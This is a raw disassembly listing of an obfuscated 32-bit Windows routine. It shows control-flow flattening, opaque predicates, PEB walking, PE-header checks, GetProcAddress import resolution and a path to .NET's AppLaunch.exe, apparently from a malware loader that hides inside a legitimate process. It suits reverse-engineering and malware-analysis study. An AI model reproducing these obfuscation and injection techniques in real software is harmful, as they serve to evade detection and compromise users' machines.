test eax, ecx
mov ecx, 0xc3074006
jmp 0x401a97
cmp eax, 0xc8d7ebf9
je 0x405109
cmp eax, 0xca55c4e3
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x9b14179e
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf0bf9ad7
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0xc0]
jmp 0x405698
cmp eax, 0x4808c6d3
je 0x405113
cmp eax, 0x48b0deda
jne 0x401ac0
mov eax, 0x6a7400bd
jmp 0x401ac0
cmp eax, 0x86e7bc76
je 0x40515d
cmp eax, 0x871c2e61
jne 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xa
mov eax, 0x9b14bed7
jmp 0x401ac0
cmp eax, 0x2754b7bc
je 0x405167
cmp eax, 0x281d7183
jne 0x401ac0
mov eax, 0x24b82901
jmp 0x401ac0
cmp eax, 0xe7d907a0
je 0x40517a
cmp eax, 0xe8815a41
jne 0x401ac0
mov eax, 0x4446d2c9
jmp 0x401ac0
cmp eax, 0x66e3fe9b
je 0x40518a
cmp eax, 0x68494a0c
jne 0x401ac0
cmp dword [ebp - 0x1c4], 0
mov eax, 0xa57f8737
mov ecx, 0x7f84fc86
cmove eax, ecx
jmp 0x401ac0
cmp eax, 0xb74bb560
je 0x4051aa
cmp eax, 0xb872f04c
jne 0x401ac0
cmp byte [ebp - 0x99], 0
mov eax, 0x343bda82
mov ecx, 0x66e3fe9b
cmovne eax, ecx
jmp 0x401ac0
cmp eax, 0x158cd8b7
je 0x4051bd
cmp eax, 0x15b9b73b
jne 0x401ac0
cmp dword [ebp - 0x194], 0
mov eax, 0x9ee2b7ee
mov ecx, 0x871c2e61
cmove eax, ecx
jmp 0x401ac0
cmp eax, 0xdd702f34
je 0x4051d6
cmp eax, 0xdd918def
jne 0x401ac0
mov eax, 0x3c60bdce
jmp 0x401ac0
cmp eax, 0x5809827e
je 0x4051e0
cmp eax, 0x58a6a51e
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xe3332b6e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4808c6d3
jmp 0x404815
cmp eax, 0x96505e74
je 0x405222
cmp eax, 0x9698280d
jne 0x401ac0
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x168]
mov eax, 0xa9d151b5
setl byte [ebp - 0x90]
jmp 0x401ac0
cmp eax, 0x35920217
je 0x40522c
cmp eax, 0x3764e69f
jne 0x401ac0
mov eax, 0xa55e4720
jmp 0x401ac0
cmp eax, 0xf519fbee
je 0x405236
cmp eax, 0xf5c9bae1
jne 0x401ac0
mov eax, dword [ebp - 0xb4]
mov eax, 0x8ded161c
jmp 0x401ac0
cmp eax, 0x798414f1
je 0x405240
cmp eax, 0x7aca32d3
jne 0x401ac0
mov eax, dword [ebp - 0x12c]
mov ecx, 0xeb59820e
cmp eax, dword [ebp - 0x130]
mov eax, 0x7e01e7e2
cmove eax, ecx
jmp 0x401ac0
cmp eax, 0xab7820f7
je 0x405264
cmp eax, 0xac1e2bc3
jne 0x401ac0
mov eax, dword [ebp - 0x184]
add eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, 0xfac037f3
jmp 0x401ac0
cmp eax, 0x35ea81
je 0x405297
cmp eax, 0xbb2dcd
jne 0x401ac0
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0x696e6d1
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x34948879
jmp 0x405476
cmp eax, 0xc3b8f446
je 0x4052ad
cmp eax, 0xc43b9296
jne 0x401ac0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, 0x620f9a7
jmp 0x401ac0
cmp eax, 0x4446d2c9
je 0x4052ba
cmp eax, 0x4520762d
jne 0x401ac0
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x38]
mov eax, 0x872bf2f5
jmp 0x401ac0
cmp eax, 0x837f3aa0
je 0x405302
cmp eax, 0x84dd5481
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x6a7400bd
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x48b0deda
jmp 0x40568a
cmp eax, 0x246a31d6
je 0x40534f
cmp eax, 0x24854c1c
jne 0x401ac0
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0xf179a854
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xeb50d70d
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0xc0]
cmovge eax, edi
jmp 0x401ac0
cmp eax, 0xe6ab6a62
je 0x405381
cmp eax, 0xe6ea8a30
jne 0x401ac0
mov eax, dword [ebp - 0x20]
mov eax, 0xbe08c6b6
jmp 0x401ac0
cmp eax, 0x629268d4
je 0x4053a2
cmp eax, 0x63c65b7b
jne 0x401ac0
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xbc]
mov eax, 0x52462203
jmp 0x401ac0
cmp eax, 0xb59262d8
je 0x4053ac
cmp eax, 0xb64cc279
jne 0x401ac0
mov eax, dword [ebp - 0xf0]
mov eax, 0x3c0ba314
jmp 0x401ac0
cmp eax, 0xe77a577
je 0x4053cc
cmp eax, 0x10066cb1
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xbc4649de
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xdd702f34
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x24]
cmovge ecx, edi
cmp dword [eax], 0
mov eax, ecx
sets byte [ebp - 0x97]
jmp 0x401ac0
cmp eax, 0xd76de2da
je 0x405400
cmp eax, 0xd883ee65
jne 0x401ac0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x130], eax
mov eax, 0x7aca32d3
jmp 0x401ac0
cmp eax, 0x52fe1ca6
je 0x405448
cmp eax, 0x53796611
jne 0x401ac0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0xe38a379
jmp 0x401ac0
cmp eax, 0x90e81b41
je 0x40548b
cmp eax, 0x90ef0b6d
jne 0x401ac0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
vmovsd xmm0, qword [eax]
mov eax, 0x117677c2
vmovsd qword [ecx], xmm0
jmp 0x401ac0
cmp eax, 0x333a83b0
je 0x405495
cmp eax, 0x33661b62
jne 0x401ac0
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1ac]
cmp dword [eax + ecx*4], 0
mov eax, 0x684f8028
mov ecx, 0x82112acc
cmove eax, ecx
jmp 0x401ac0
cmp eax, 0xf0279f96
je 0x4054a8
cmp eax, 0xf0bf9ad7
jne 0x401ac0
mov eax, 0x9b14179e
jmp 0x401ac0
cmp eax, 0x73c52cd3
je 0x4054d9
cmp eax, 0x73c5934d
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x816ca675
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa31f86c5
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
cmp dword [ebp - 0x8c], 0
mov eax, ecx
sets byte [ebp - 0x94]
jmp 0x401ac0
cmp eax, 0xa5552ea6
je 0x4054ef
cmp eax, 0xa55e4720
jne 0x401ac0
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x50]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0
mov eax, 0xa9fb9b47
jmp 0x401ac0
cmp eax, 0x63b3372
je 0x4054f9
cmp eax, 0x696e6d1
jne 0x401ac0
mov eax, 0xbb2dcd
jmp 0x401ac0
cmp eax, 0xd0e825ee
je 0x40550c
cmp eax, 0xd1140c95
jne 0x401ac0
mov eax, 0x2cc3d4ed
jmp 0x401ac0
cmp eax, 0x4baa0efb
je 0x405566
cmp eax, 0x4c6350e5
jne 0x401ac0
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x1b0], eax
mov eax, 0xb40eea1a
jmp 0x401ac0
cmp eax, 0x8a9b372c
je 0x40558d
cmp eax, 0x8aac0762
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xf2eedfee
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4680e3e9
jmp 0x404815
cmp eax, 0x2c233712
je 0x4055a0
cmp eax, 0x2cc3d4ed
jne 0x401ac0
mov eax, dword [ebp - 0x13c]
mov ecx, 0x916b2a6
cmp eax, dword [ebp - 0x140]
mov eax, 0xb29cd93f
cmovl eax, ecx
jmp 0x401ac0
cmp eax, 0xea172ac4
je 0x4055b5
cmp eax, 0xea4dc621
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x3c602d0
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc3074006
jmp 0x40568a
cmp eax, 0x6b929613
je 0x4055c8
cmp eax, 0x6bfc0753
jne 0x401ac0
mov eax, dword [ebp - 0xb0]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xb4]
mov ebx, 0x2b204819
mov edi, 0x4eba76d8
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4eba76d8
jmp 0x401a97
cmp eax, 0xbc3ebf1f
je 0x4055fa
cmp eax, 0xbc4649de
jne 0x401ac0
mov eax, dword [ebp - 0x24]
mov eax, 0x10066cb1
jmp 0x401ac0
cmp eax, 0x1b6cead5
je 0x405604
cmp eax, 0x1beeff25
jne 0x401ac0
cmp byte [ebp - 0x98], 0
mov eax, 0xa28a669e
mov ecx, 0xdf707827
cmovne eax, ecx
jmp 0x401ac0
cmp eax, 0xdf707827
je 0x40565c
cmp eax, 0xe07d97cf
jne 0x401ac0
movzx eax, byte [ebp - 0x49]
mov eax, 0x3d627b15
jmp 0x401ac0
cmp eax, 0x5b42048e
je 0x4056a2
cmp eax, 0x5b586120
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x604092e4
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xd6a191aa
jmp 0x40568a
cmp eax, 0x9ad47487
je 0x4056f9
cmp eax, 0x9b14179e
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0xf60c351b
mov ebx, 0xf0bf9ad7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf0bf9ad7
jmp 0x40573f
cmp eax, 0x39e6e9a3
je 0x405712
cmp eax, 0x3a92a2b5
jne 0x401ac0
mov eax, dword [ebp - 0x178]
add eax, 2
mov dword [ebp - 0x108], eax
mov eax, 0xe70ed094
jmp 0x401ac0
cmp eax, 0xf7c9225a
je 0x40571e
cmp eax, 0xf81ea019
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xe77a577
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x21e22a1b
jmp 0x404815
cmp eax, 0x7c97c48a
je 0x40575e
cmp eax, 0x7e01e7e2
jne 0x401ac0
mov eax, dword [ebp - 0xe4]
mov eax, 0x1e441003
jmp 0x401ac0
cmp eax, 0xa9fb9b47
je 0x405768
cmp eax, 0xaa51478d
jne 0x401ac0
mov eax, dword [ebp - 0x7c]
mov eax, 0xf519fbee
jmp 0x401ac0
cmp eax, 0xfe0d4704
je 0x40578b
cmp eax, 0xfe4d8dcb
jne 0x401ac0
movzx eax, word [ebp - 0xca]
mov ebx, 0xbc3ebf1f
mov edi, 0x8b0e1fcf
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x174], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x8b0e1fcf
jmp 0x40506d
cmp eax, 0xc3074006
je 0x4057a1
cmp eax, 0xc31866f5
jne 0x401ac0
mov eax, 0xaa771d1b
jmp 0x401ac0
cmp eax, 0x3ebf1672
je 0x4057b1
cmp eax, 0x3f4435b0
jne 0x401ac0
mov eax, 0x52462203
jmp 0x401ac0
cmp eax, 0x816ca675
je 0x4057c6
cmp eax, 0x82112acc
jne 0x401ac0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xd
mov eax, 0xb4cb17b0
jmp 0x401ac0
cmp eax, 0x21e22a1b
je 0x4057df
cmp eax, 0x226dd28d
jne 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x35920217
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xa02244cc
jmp 0x404815
cmp eax, 0xe3332b6e
je 0x405839
cmp eax, 0xe650def2
jne 0x401ac0
mov eax, 0xe23e3ab6
jmp 0x401ac0
cmp eax, 0x604092e4
je 0x405846
cmp eax, 0x62129cd6
jne 0x401ac0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, 0xec6d0b09
jmp 0x401ac0
cmp eax, 0xb40eea1a
je 0x405876
cmp eax, 0xb4cb17b0
jne 0x401ac0
mov eax, dword [ebp - 0x38]
mov eax, 0xdf2693fc
jmp 0x401ac0
cmp eax, 0xe36ae8b
je 0x40589c
cmp eax, 0xe38a379
jne 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x59c10d64
mov ebx, 0xed836fa7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xed836fa7
jmp 0x40563f
cmp eax, 0xd6a191aa
je 0x4058c2
cmp eax, 0xd6f499fa
jne 0x401ac0
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov ecx, 0xb9c99e5f
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x35ea81
cmove eax, ecx
jmp 0x401ac0
cmp eax, 0x51e4f20a
je 0x4058d5
cmp eax, 0x52462203
jne 0x401ac0
mov eax, dword [ebp - 0x20]
mov eax, 0x837f3aa0
jmp 0x401ac0
mov eax, dword [ebp - 0xb4]
mov ebx, 0xab55f1a0
mov edi, 0xf5c9bae1
mov eax, dword [eax]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf5c9bae1
jmp 0x401a97
mov eax, dword [ebp - 0x68]
mov eax, 0x253c0539
jmp 0x401ac0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0xf8]
push dword [ebp - 0xf4]
vzeroupper
call fcn.0043c170
add esp, 0xc
mov eax, 0x2f7cbb89
jmp 0x401ac0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
add eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xa4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
mov eax, 0xd0e825ee
jmp 0x401ac0
mov eax, dword [ebp - 0xec]
mov eax, 0x59c10d64
jmp 0x401ac0
mov eax, 0x71ec1167
jmp 0x401ac0
mov eax, 0x8f625e03
jmp 0x401ac0
mov eax, 0xaeda1276
jmp 0x401ac0
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, 0x73c5934d
jmp 0x401ac0
mov ecx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov ebx, 0xe8d0d9dd
lea edx, [ecx + 1]
imul edx, ecx
mov edi, edx
xor edi, 0xfffffffe
test edi, edx
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0x333a83b0
cmovne ecx, ebx
test edi, edx
mov edi, dword [ebp - 0x1c]
mov edx, ecx
cmove edx, ebx
cmp eax, 0xa
cmovge edx, ecx
mov edi, dword [edi]
mov dword [ebp - 0x1a0], edi
mov edi, dword [ebp - 0x44]
mov edi, dword [edi]
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea eax, [edi + ebx*4]
mov dword [ebp - 0x1a4], eax
mov eax, edx
jmp 0x401ac0
mov esi, dword [ebp - 0x128]
mov eax, 0xb65fa769
jmp 0x401ac0
mov eax, dword [ebp - 0x2c]
mov edi, 0xd5a8575e
mov dword [eax], 0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
jmp 0x404196
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 0x10]
add eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0x76ea33bd
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x20735f8f
mov ebx, 0xafdc341e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xafdc341e
jmp 0x40563f
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0xc12d6c5a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7fb642fd
jmp 0x404815
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x728580c4
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x945a3867
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x24]
cmovge ecx, edx
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, ecx
setne byte [ebp - 0x96]
jmp 0x401ac0
mov eax, 0xac1e2bc3
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x4f3de310
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x4520762d
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
jmp 0x405698
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x6c]
vmovups ymm0, ymmword [0x4df6de]
vmovups ymm1, ymmword [0x4df6c6]
vmovups ymm2, ymmword [0x4df6a6]
mov ebx, 0x1beeff25
mov edi, 0xf2b8a5bd
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x70]
setne byte [eax]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x70]
cmp byte [eax], 0
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
setne byte [ebp - 0x98]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf2b8a5bd
jmp 0x401a97
mov eax, dword [0x4ec418]
mov edi, 0x570187eb
mov ebx, 0xea06d538
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xea06d538
jmp 0x40573f
mov eax, 0xcd951f68
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov ecx, dword [0x4ec414]
mov edi, 0xec6d0b09
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x62129cd6
jmp 0x404eff
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x38]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x68]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
cmp dword [eax], 0
mov eax, 0x158cd8b7
setne byte [ebp - 0x92]
jmp 0x401ac0
mov eax, 0xf9eb2015
jmp 0x401ac0
mov eax, 0x75031ebf
jmp 0x401ac0
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, 0x8d0df762
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x52a4de2
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2faf1580
jmp 0x40568a
mov eax, 0xe8815a41
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0xbb2dcd
mov ebx, 0x696e6d1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x696e6d1
jmp 0x40563f
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0xea4dc621
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov ebx, 0xf0279f96
mov edi, 0x90f8643
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x90f8643
jmp 0x401a97
cmp byte [ebp - 0x91], 0
mov eax, 0xc5843c35
mov ecx, 0x5809827e
cmovne eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x1c]
mov edi, 0xe650def2
mov ebx, 0x33a48c1d
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [0x4ec418]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x33a48c1d
jmp 0x40563f
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x78]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x48]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xa28a669e
jmp 0x401ac0
mov eax, dword [0x4ec418]
mov edi, 0x4ba37a52
mov ebx, 0xb2cdeb9b
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xb2cdeb9b
jmp 0x40573f
mov eax, 0x58a6a51e
jmp 0x401ac0
mov eax, dword [ebp - 0x64]
mov eax, 0x8c24d7c4
jmp 0x401ac0
mov eax, 0x8054b797
jmp 0x401ac0
mov eax, 0xe9f29d21
jmp 0x401ac0
mov eax, 0x98ec7df9
jmp 0x401ac0
cmp byte [ebp - 0x96], 0
mov eax, 0x5943f349
mov ecx, 0xb6faf3e9
cmovne eax, ecx
jmp 0x401ac0
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
mov dword [eax], 0
mov eax, 0x20735f8f
jmp 0x401ac0
mov edx, dword [0x4ec418]
mov eax, dword [0x4ec414]
mov edi, 0x8fc78b62
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xe7d907a0
jmp 0x40568a
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
cmp ecx, dword [eax]
